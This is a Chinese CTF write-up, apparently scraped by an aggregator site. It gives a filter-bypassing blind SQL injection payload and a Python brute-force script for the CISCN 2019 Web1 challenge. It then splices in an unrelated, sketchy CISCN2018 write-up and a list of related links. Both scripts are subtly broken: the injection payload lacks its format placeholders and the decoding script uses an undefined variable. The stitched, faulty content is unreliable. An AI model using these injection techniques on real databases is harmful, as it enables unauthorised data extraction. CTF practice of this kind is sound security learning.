[CISCN 2019华北Day2]Web1
Posted magic123
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[CISCN 2019华北Day2]Web1相关的知识,希望对你有一定的参考价值。
[CISCN 2019华北Day2]Web1
提示了flag表中有flag列,我们只能提交id
输入1和2都有文本输出,3的时候出现报错
输入1’#出现以下图片所示情况,说明应该存在过滤
我用fuzz跑一下,看一下哪些字符被过滤了
发现空格,or,order,union以及报错注入的相关字符都被过滤了。但是select和from没有被过滤,可以想到用盲注,构造语句:
id=(select(ascii(mid(flag,1,1))=102)from(flag))
如果ascii码错误,就返回Error Occured When Fetch Result.
如果正确,应该会返回1,也就是Hello, glzjin wants a girlfriend.
接下来需要用到盲注脚本来进行
import requests
import string
def blind_sql(url):
flag=\'\'
for num in range(1,60): #flag一般不超过50个字符
for i in string.printable: #string.printable将给出所有的标点符号,数字,ascii_letters和空格
payload=\'(select(ascii(mid(flag,0,1))=1)from(flag))\'.format(num,ord(i)) #ord函数用来获取单个字符的ascii码
post = "id":payload
result = requests.post(url=url,data=post) #提交post请求
if \'Hello\' in result.text:
flag += i #用flag接收盲注得到的结果
print(flag) #打印结果
else:
continue
print(flag)
if __name__ == \'__main__\':
url=\'http://1.14.71.254:28799/index.php\'
blind_sql(url)
得到flag
CISCN2018-WP
MISC:
验证码:
用token登录
输入好验证码就可以得到flag
Picture:
图片隐写,一下就想到binwalk或者winhex打开试试
binwalk打开无果
将这段数据ctrl+shift+c复制出来
用下面python脚本生成zip文件。
import zlib
import binascii
import base64
id=””
r = zlib.decompress(binascii.unhexlify(id))
r = base64.b64decode(result)
fount = open(r"2.zip","wb")
fount.write(r)
fount.close()
压缩包提示。
根据这个“ZeroDivisionError:”搜索
然就知道压缩密码了。
打开弹出这个信息。
然后又拿出winhex看了下
然后输入压缩密码打开
发现code文件如下
Uuencode解码即可
得到flag:
RUN:
根据提示,要沙箱逃逸?
然后getshell。
然后百度谷歌了遍
命令都是瞎凑的。
然后发现很多库和命令都被ban了。
逃逸这个词,一开始我不是很理解。
然后群里管理员说是有点web
可能这些命令都被‘过滤’了吧。
然后一个个试绕过。
得到flag。
这里很坑的是func_globals也会被‘过滤’。
CRYPTO:
flag_in_your_hand:
下载文件解压
得到html和js
算出
然后有个很坑的地方:这题的flag不是ciscn{}规范的。导致我按了很多次get flag按键,然后随便提交一个,导致被禁赛30min。
得到flag。
Web:
easyweb:
复制这个token
得到flag。
以上是关于[CISCN 2019华北Day2]Web1的主要内容,如果未能解决你的问题,请参考以下文章
复习[CISCN2019 华北赛区 Day2 Web1]Hack World -----sql注入
BUU CTF[CISCN2019 总决赛 Day2 Web1]Easyweb 1
BUU CTF[CISCN2019 总决赛 Day2 Web1]Easyweb 1
&pwn1_sctf_2016 &ciscn_2019_n_1 &ciscn_2019_c_1 &ciscn_2019_en_2&